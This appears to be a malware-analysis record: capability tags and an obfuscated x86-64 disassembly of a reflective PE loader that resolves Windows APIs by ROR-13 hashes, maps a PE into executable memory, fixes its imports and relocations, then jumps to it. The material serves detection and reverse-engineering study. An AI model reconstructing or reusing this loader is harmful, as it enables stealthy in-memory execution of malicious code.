Function at 0x140028e7e
Capabilities:
Enumerate pe sections
Parse pe header
Resolve function by hash
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
jmp 0x14002a08b
xor eax, eax
cmp eax, 1
je 0x140028f31
jmp 0x14002a0db
jne 0x140028f22
jmp 0x14002a108
jb 0x140028f22
jmp 0x14002a138
jae 0x140028f22
jmp 0x14002a165
jne 0x140028f22
jmp 0x140028f31
mov rax, qword [rsp + 0x50]
jmp 0x14002a19c
jmp 0x140028ec7
mov rax, qword gs:[0x60]
jmp 0x14002a1b4
cmp qword [rsp + 0x30], 0
je 0x140029432
jmp 0x14002a1de
mov eax, dword [rsp + 0x38]
jmp 0x14002a209
jl 0x140028fc6
jmp 0x14002a243
jmp 0x140028fde
mov rax, qword [rsp + 0x48]
jmp 0x14002a287
mov rax, qword [rsp + 0x48]
jmp 0x14002a2aa
jne 0x140028f8c
jmp 0x14002a2ce
jne 0x14002922e
jmp 0x14002a2dd
movzx eax, word [rsp + 0x20]
test eax, eax
jle 0x140029229
jmp 0x14002a3ad
mov eax, dword [rsp + 0x80]
jmp 0x14002a3ea
jne 0x1400290d7
jmp 0x14002a460
je 0x140029154
jmp 0x14002a47b
je 0x140029154
jmp 0x14002a49e
jne 0x140029202
mov rax, qword [rsp + 0x60]
jmp 0x14002a4b4
jne 0x1400291ab
jmp 0x14002a507
jmp 0x1400291f5
cmp dword [rsp + 0x58], 0x7c0dfcaa
jne 0x1400291d1
jmp 0x14002a545
jmp 0x1400291f5
cmp dword [rsp + 0x58], 0x91afca54
jne 0x1400291f5
jmp 0x14002a584
movzx eax, word [rsp + 0x20]
jmp 0x14002a5ae
mov rax, qword [rsp + 0x70]
jmp 0x14002a5cf
jmp 0x1400290a5
jmp 0x1400293f2
cmp dword [rsp + 0x38], 0x3cfa685d
jne 0x1400293f2
jmp 0x14002a60b
movzx eax, word [rsp + 0x20]
test eax, eax
jle 0x1400293f2
jmp 0x14002a6db
mov eax, dword [rsp + 0x84]
jmp 0x14002a71e
jne 0x140029304
jmp 0x14002a77f
jne 0x1400293cb
jmp 0x14002a7aa
jne 0x1400293be
jmp 0x14002a7fb
movzx eax, word [rsp + 0x20]
jmp 0x14002a826
mov rax, qword [rsp + 0x70]
jmp 0x14002a83e
jmp 0x1400292d2
cmp qword [rsp + 0xb0], 0
je 0x140029420
jmp 0x14002a86e
je 0x140029420
jmp 0x14002a897
je 0x140029420
jmp 0x14002a8ba
je 0x140029420
jmp 0x140029432
mov rax, qword [rsp + 0x30]
jmp 0x14002a8dd
jmp 0x140028f5b
mov rax, qword [rsp + 0x50]
jmp 0x14002a8f2
mov rax, qword [rsp + 0x30]
jmp 0x14002a95e
je 0x1400294df
jmp 0x14002a991
jmp 0x140029490
mov rax, qword [rsp + 0x68]
jmp 0x14002a9d0
mov rax, qword [rsp + 0xa8]
jmp 0x14002aa1a
je 0x1400295d9
jmp 0x14002aa62
mov rax, qword [rsp + 0x40]
jmp 0x14002aabf
je 0x1400295c6
jmp 0x14002aaf4
jmp 0x140029577
mov rax, qword [rsp + 0x30]
jmp 0x14002ab51
jmp 0x140029508
mov eax, 8
jmp 0x14002ab61
mov rax, qword [rsp + 0x38]
cmp dword [rax + 0xc], 0
je 0x1400297be
jmp 0x14002aba9
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x1400297ab
jmp 0x14002ac10
je 0x14002974a
jmp 0x14002ac30
je 0x14002974a
jmp 0x14002ac75
jmp 0x140029782
mov rax, qword [rsp + 0x30]
jmp 0x14002ad6f
mov rax, qword [rsp + 0x30]
jmp 0x14002adbb
je 0x1400297a6
jmp 0x14002adef
jmp 0x14002966b
mov rax, qword [rsp + 0x38]
jmp 0x14002ae0d
jmp 0x14002960b
mov rax, qword [rsp + 0x68]
jmp 0x14002ae31
je 0x140029a51
jmp 0x14002ae82
mov rax, qword [rsp + 0x38]
cmp dword [rax + 4], 0
je 0x140029a51
jmp 0x14002aebe
mov rax, qword [rsp + 0x48]
jmp 0x14002af17
je 0x140029a34
jmp 0x14002af43
jne 0x1400298f0
jmp 0x14002af8b
jmp 0x140029a21
mov rax, qword [rsp + 0x40]
jmp 0x14002afde
jne 0x14002994d
jmp 0x14002b00e
jmp 0x140029a21
mov rax, qword [rsp + 0x40]
jmp 0x14002b05d
jne 0x1400299ba
jmp 0x14002b07d
jmp 0x140029a21
mov rax, qword [rsp + 0x40]
jmp 0x14002b0e8
jne 0x140029a21
jmp 0x14002b109
mov rax, qword [rsp + 0x40]
jmp 0x14002b182
jmp 0x140029867
mov rax, qword [rsp + 0x38]
jmp 0x14002b19b
jmp 0x140029818
mov rax, qword [rsp + 0x68]
jmp 0x14002b1bf
sub rsp, 0xf8
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xc0], 0
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x50], rax
jmp 0x140028ec7
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
cmp eax, 0x5a4d
jmp 0x140028edb
mov rax, qword [rsp + 0x50]
movsxd rax, dword [rax + 0x3c]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0x40
jmp 0x140028ef1
cmp qword [rsp + 0x68], 0x400
jmp 0x140028efc
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
cmp dword [rax], 0x4550
jmp 0x140028f1e
dec rax
mov qword [rsp + 0x50], rax
push rbx
push rcx
push rax
push rdx
pop rdx
pop rax
pop rcx
pop rbx
jmp 0x140028f2f
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
nop
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x30], rax
jmp 0x140028f5b
mov rax, qword [rsp + 0x30]
mov rax, qword [rax + 0x50]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x30]
movzx eax, word [rax + 0x48]
mov word [rsp + 0x20], ax
mov qword [rsp + 0x38], 0
jmp 0x140028f8c
ror eax, 0xd
mov eax, eax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax]
cmp eax, 0x61
jmp 0x140028fa5
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax]
sub eax, 0x20
cdqe
mov rcx, qword [rsp + 0x38]
add rcx, rax
push rcx
pop rcx
push rbx
pop rbx
push rdx
pop rdx
push rax
pop rax
mov rax, rcx
mov qword [rsp + 0x38], rax
jmp 0x140028fc4
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x38]
add rcx, rax
push rcx
pop rcx
push rbx
pop rbx
push rdx
pop rdx
push rax
pop rax
mov rax, rcx
mov qword [rsp + 0x38], rax
jmp 0x140028fde
inc rax
mov qword [rsp + 0x48], rax
movzx eax, word [rsp + 0x20]
dec ax
mov word [rsp + 0x20], ax
movzx eax, word [rsp + 0x20]
test eax, eax
jmp 0x140028fff
cmp dword [rsp + 0x38], 0x6a4abc5b
jmp 0x140029009
mov rax, qword [rsp + 0x30]
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
push rax
pop rax
push rcx
pop rcx
push rdx
pop rdx
push rbx
pop rbx
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov eax, 8
push rcx
pop rcx
push rbx
pop rbx
push rdx
pop rdx
push rax
pop rax
imul rax, rax, 0
mov rcx, qword [rsp + 0x60]
nop
lea rax, [rcx + rax + 0x88]
push rax
pop rax
push rcx
pop rcx
push rdx
pop rdx
push rbx
pop rbx
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
nop
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
push rcx
pop rcx
push rbx
pop rbx
push rdx
pop rdx
push rax
pop rax
mov eax, 3
mov word [rsp + 0x20], ax
jmp 0x1400290a5
mov rax, qword [rsp + 0x70]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x80], 0
jmp 0x1400290d7
ror eax, 0xd
mov dword [rsp + 0x80], eax
mov rax, qword [rsp + 0x90]
movsx eax, byte [rax]
mov ecx, dword [rsp + 0x80]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x80], eax
push rbx
push rcx
push rax
push rdx
pop rdx
pop rax
pop rcx
pop rbx
mov rax, qword [rsp + 0x90]
push rcx
pop rcx
push rbx
pop rbx
push rdx
pop rdx
push rax
pop rax
inc rax
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x90]
movsx eax, byte [rax]
test eax, eax
jmp 0x140029125
mov eax, dword [rsp + 0x80]
mov dword [rsp + 0x58], eax
cmp dword [rsp + 0x58], 0xec0e4e8e
jmp 0x14002913a
cmp dword [rsp + 0x58], 0x7c0dfcaa
jmp 0x140029144
cmp dword [rsp + 0x58], 0x91afca54
jmp 0x14002914e
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x78]
lea rax, [rcx + rax*4]
push rax
pop rax
push rcx
pop rcx
push rdx
pop rdx
push rbx
pop rbx
mov qword [rsp + 0x78], rax
cmp dword [rsp + 0x58], 0xec0e4e8e
jmp 0x14002918d
mov rax, qword [rsp + 0x78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x28]
nop
add rcx, rax
push rax
pop rax
push rcx
pop rcx
push rdx
pop rdx
push rbx
pop rbx
mov rax, rcx
mov qword [rsp + 0xb0], rax
jmp 0x1400291a9
mov rax, qword [rsp + 0x78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb8], rax
nop
jmp 0x1400291cf
mov rax, qword [rsp + 0x78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa0], rax
jmp 0x1400291f5
dec ax
mov word [rsp + 0x20], ax
jmp 0x140029202
add rax, 4
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x88]
add rax, 2
mov qword [rsp + 0x88], rax
jmp 0x140029224
mov rax, qword [rsp + 0x30]
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
movsxd rax, dword [rax + 0x3c]
push rcx
pop rcx
push rbx
pop rbx
push rdx
pop rdx
push rax
pop rax
mov rcx, qword [rsp + 0x28]
add rcx, rax
nop
mov rax, rcx
push rax
pop rax
push rcx
pop rcx
push rdx
pop rdx
push rbx
pop rbx
mov qword [rsp + 0x60], rax
mov eax, 8
push rcx
pop rcx
push rbx
pop rbx
push rdx
pop rdx
push rax
pop rax
imul rax, rax, 0
mov rcx, qword [rsp + 0x60]
lea rax, [rcx + rax + 0x88]
push rax
pop rax
push rcx
pop rcx
push rdx
pop rdx
push rbx
pop rbx
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x28]
push rax
pop rax
push rcx
pop rcx
push rdx
pop rdx
push rbx
pop rbx
add rcx, rax
nop
mov rax, rcx
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov eax, 1
mov word [rsp + 0x20], ax
jmp 0x1400292d2
mov rax, qword [rsp + 0x70]
mov eax, dword [rax]
push rcx
pop rcx
push rbx
pop rbx
push rdx
pop rdx
push rax
pop rax
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x98], rax
mov dword [rsp + 0x84], 0
jmp 0x140029304
ror eax, 0xd
mov dword [rsp + 0x84], eax
mov rax, qword [rsp + 0x98]
movsx eax, byte [rax]
mov ecx, dword [rsp + 0x84]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x84], eax
push rax
push rcx
push rdx
push rbx
pop rbx
pop rdx
pop rcx
pop rax
mov rax, qword [rsp + 0x98]
push rax
pop rax
push rcx
pop rcx
push rdx
pop rdx
push rbx
pop rbx
inc rax
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x98]
movsx eax, byte [rax]
test eax, eax
jmp 0x140029352
mov eax, dword [rsp + 0x84]
mov dword [rsp + 0x58], eax
nop
cmp dword [rsp + 0x58], 0x534c0ab8
jmp 0x140029367
mov rax, qword [rsp + 0x60]
nop
mov eax, dword [rax + 0x1c]
push rcx
pop rcx
push rbx
pop rbx
push rdx
pop rdx
push rax
pop rax
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x78]
push rax
push rcx
push rdx
push rbx
pop rbx
pop rdx
pop rcx
pop rax
lea rax, [rcx + rax*4]
mov qword [rsp + 0x78], rax
cmp dword [rsp + 0x58], 0x534c0ab8
nop
jmp 0x1400293a2
mov rax, qword [rsp + 0x78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0], rax
jmp 0x1400293be
dec ax
mov word [rsp + 0x20], ax
jmp 0x1400293cb
add rax, 4
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x88]
add rax, 2
mov qword [rsp + 0x88], rax
push rax
push rcx
push rdx
push rbx
pop rbx
pop rdx
pop rcx
pop rax
jmp 0x1400293ed
cmp qword [rsp + 0xb8], 0
jmp 0x140029406
cmp qword [rsp + 0xa0], 0
jmp 0x140029411
cmp qword [rsp + 0xc0], 0
jmp 0x14002941c
mov rax, qword [rax]
mov qword [rsp + 0x30], rax
jmp 0x14002942d
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x50]
add rcx, rax
nop
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x50]
mov r9d, 0x40
mov r8d, 0x3000
nop
mov edx, eax
xor ecx, ecx
call qword [rsp + 0xa0]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x68]
push rax
pop rax
push rcx
pop rcx
push rdx
pop rdx
push rbx
pop rbx
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x38], rax
jmp 0x140029490
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0x30]
nop
dec rax
nop
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0xc8], 0
jmp 0x1400294b3
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
mov cl, byte [rcx]
mov byte [rax], cl
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
jmp 0x1400294dd
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x68]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x68]
push rcx
pop rcx
push rbx
pop rbx
push rdx
pop rdx
push rax
pop rax
movzx eax, word [rax + 6]
mov qword [rsp + 0xa8], rax
jmp 0x140029508
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0xa8]
dec rax
mov qword [rsp + 0xa8], rax
cmp qword [rsp + 0xd0], 0
jmp 0x140029534
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 0x28]
push rax
push rcx
push rdx
push rbx
pop rbx
pop rdx
pop rcx
pop rax
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x30]
push rcx
pop rcx
push rbx
pop rbx
push rdx
pop rdx
push rax
pop rax
mov eax, dword [rax + 0x14]
mov rcx, qword [rsp + 0x50]
add rcx, rax
push rax
pop rax
push rcx
pop rcx
push rdx
pop rdx
push rbx
pop rbx
mov rax, rcx
nop
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x10]
nop
mov qword [rsp + 0x40], rax
jmp 0x140029577
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0x40]
dec rax
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0xd8], 0
jmp 0x14002959a
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
mov cl, byte [rcx]
mov byte [rax], cl
push rcx
pop rcx
push rbx
pop rbx
push rdx
pop rdx
push rax
pop rax
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x38]
inc rax
push rcx
pop rcx
push rbx
pop rbx
push rdx
pop rdx
push rax
pop rax
mov qword [rsp + 0x38], rax
jmp 0x1400295c4
add rax, 0x28
mov qword [rsp + 0x30], rax
jmp 0x1400295d4
imul rax, rax, 1
mov rcx, qword [rsp + 0x68]
lea rax, [rcx + rax + 0x88]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x28]
nop
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
jmp 0x14002960b
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov rcx, rax
push rax
push rcx
push rdx
push rbx
pop rbx
pop rdx
pop rcx
pop rax
call qword [rsp + 0xb0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
jmp 0x14002966b
cmp qword [rsp + 0x40], 0
jmp 0x140029680
mov rax, qword [rsp + 0x40]
movabs rcx, 0x8000000000000000
mov rax, qword [rax]
push rcx
pop rcx
push rbx
pop rbx
push rdx
pop rdx
push rax
pop rax
and rax, rcx
test rax, rax
jmp 0x14002969e
mov rax, qword [rsp + 0x50]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x50]
push rax
push rcx
push rdx
push rbx
pop rbx
pop rdx
pop rcx
pop rax
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
push rax
pop rax
push rcx
pop rcx
push rdx
pop rdx
push rbx
pop rbx
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x60]
lea rax, [rcx + rax + 0x88]
mov qword [rsp + 0x70], rax
nop
mov rax, qword [rsp + 0x70]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
push rax
pop rax
push rcx
pop rcx
push rdx
pop rdx
push rbx
pop rbx
mov eax, dword [rax + 0x1c]
push rax
pop rax
push rcx
pop rcx
push rdx
pop rdx
push rbx
pop rbx
mov rcx, qword [rsp + 0x50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x40]
mov rax, qword [rax]
and rax, 0xffff
mov rcx, qword [rsp + 0x60]
push rax
push rcx
push rdx
push rbx
pop rbx
pop rdx
pop rcx
pop rax
mov ecx, dword [rcx + 0x10]
push rax
push rcx
push rdx
push rbx
pop rbx
pop rdx
pop rcx
pop rax
sub rax, rcx
mov rcx, qword [rsp + 0x78]
lea rax, [rcx + rax*4]
nop
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x50]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x30]
mov qword [rcx], rax
jmp 0x140029748
mov rax, qword [rax]
mov rcx, qword [rsp + 0x28]
push rax
push rcx
push rdx
push rbx
pop rbx
pop rdx
pop rcx
pop rax
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
add rax, 2
mov rdx, rax
mov rcx, qword [rsp + 0x50]
call qword [rsp + 0xb8]
mov rcx, qword [rsp + 0x30]
mov qword [rcx], rax
jmp 0x140029782
add rax, 8
nop
mov qword [rsp + 0x30], rax
push rax
push rcx
push rdx
push rbx
pop rbx
pop rdx
pop rcx
pop rax
cmp qword [rsp + 0x40], 0
jmp 0x140029796
mov rax, qword [rsp + 0x40]
nop
add rax, 8
mov qword [rsp + 0x40], rax
jmp 0x1400297a6
add rax, 0x14
mov qword [rsp + 0x38], rax
jmp 0x1400297b9
mov rax, qword [rax + 0x30]
mov rcx, qword [rsp + 0x28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov eax, 8
imul rax, rax, 5
mov rcx, qword [rsp + 0x68]
lea rax, [rcx + rax + 0x88]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
cmp dword [rax + 4], 0
jmp 0x1400297fb
mov rax, qword [rsp + 0x48]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x28]
add rcx, rax
nop
mov rax, rcx
mov qword [rsp + 0x38], rax
jmp 0x140029818
mov rax, qword [rsp + 0x38]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 4]
sub rax, 8
xor edx, edx
mov ecx, 2
push rcx
pop rcx
push rbx
pop rbx
push rdx
pop rdx
push rax
pop rax
div rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x38]
add rax, 8
mov qword [rsp + 0x40], rax
jmp 0x140029867
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0x48]
dec rax
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0xe0], 0
jmp 0x14002988a
mov rax, qword [rsp + 0x40]
movzx eax, word [rax]
push rcx
pop rcx
push rbx
pop rbx
push rdx
pop rdx
push rax
pop rax
shr ax, 0xc
and ax, 0xf
push rcx
pop rcx
push rbx
pop rbx
push rdx
pop rdx
push rax
pop rax
movzx eax, ax
cmp eax, 0xa
jmp 0x1400298a6
mov eax, 0xfff
mov rcx, qword [rsp + 0x40]
movzx ecx, word [rcx]
and cx, ax
movzx eax, cx
push rax
push rcx
push rdx
push rbx
pop rbx
pop rdx
pop rcx
pop rax
movzx eax, ax
mov rcx, qword [rsp + 0x30]
mov rax, qword [rcx + rax]
add rax, qword [rsp + 0x50]
mov ecx, 0xfff
mov rdx, qword [rsp + 0x40]
movzx edx, word [rdx]
and dx, cx
movzx ecx, dx
movzx ecx, cx
mov rdx, qword [rsp + 0x30]
mov qword [rdx + rcx], rax
jmp 0x1400298eb
movzx eax, word [rax]
shr ax, 0xc
and ax, 0xf
movzx eax, ax
cmp eax, 3
jmp 0x140029906
mov eax, 0xfff
mov rcx, qword [rsp + 0x40]
movzx ecx, word [rcx]
and cx, ax
push rax
pop rax
push rcx
pop rcx
push rdx
pop rdx
push rbx
pop rbx
movzx eax, cx
movzx eax, ax
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax]
add eax, dword [rsp + 0x50]
mov ecx, 0xfff
mov rdx, qword [rsp + 0x40]
movzx edx, word [rdx]
and dx, cx
movzx ecx, dx
movzx ecx, cx
mov rdx, qword [rsp + 0x30]
mov dword [rdx + rcx], eax
jmp 0x140029948
movzx eax, word [rax]
shr ax, 0xc
and ax, 0xf
movzx eax, ax
cmp eax, 1
jmp 0x140029963
mov eax, 0xfff
mov rcx, qword [rsp + 0x40]
movzx ecx, word [rcx]
and cx, ax
movzx eax, cx
nop
movzx eax, ax
mov rcx, qword [rsp + 0x50]
shr rcx, 0x10
push rax
push rcx
push rdx
push rbx
pop rbx
pop rdx
pop rcx
pop rax
and rcx, 0xffff
movzx ecx, cx
nop
mov rdx, qword [rsp + 0x30]
nop
movzx eax, word [rdx + rax]
add eax, ecx
mov ecx, 0xfff
mov rdx, qword [rsp + 0x40]
movzx edx, word [rdx]
and dx, cx
movzx ecx, dx
movzx ecx, cx
mov rdx, qword [rsp + 0x30]
mov word [rdx + rcx], ax
jmp 0x1400299b8
movzx eax, word [rax]
nop
shr ax, 0xc
and ax, 0xf
movzx eax, ax
cmp eax, 2
jmp 0x1400299d0
mov eax, 0xfff
mov rcx, qword [rsp + 0x40]
movzx ecx, word [rcx]
and cx, ax
movzx eax, cx
movzx eax, ax
mov rcx, qword [rsp + 0x50]
and rcx, 0xffff
movzx ecx, cx
mov rdx, qword [rsp + 0x30]
movzx eax, word [rdx + rax]
add eax, ecx
mov ecx, 0xfff
mov rdx, qword [rsp + 0x40]
movzx edx, word [rdx]
and dx, cx
movzx ecx, dx
movzx ecx, cx
push rax
pop rax
push rcx
pop rcx
push rdx
pop rdx
push rbx
pop rbx
mov rdx, qword [rsp + 0x30]
mov word [rdx + rcx], ax
jmp 0x140029a21
add rax, 2
mov qword [rsp + 0x40], rax
jmp 0x140029a2f
mov eax, dword [rax + 4]
mov rcx, qword [rsp + 0x38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
jmp 0x140029a4c
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
xor r8d, r8d
xor edx, edx
mov rcx, 0xffffffffffffffff
call qword [rsp + 0xc0]
push rax
push rcx
push rdx
push rbx
pop rbx
pop rdx
pop rcx
pop rax
mov r9d, 9
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [rsp + 0x30]
add rsp, 0xf8
ret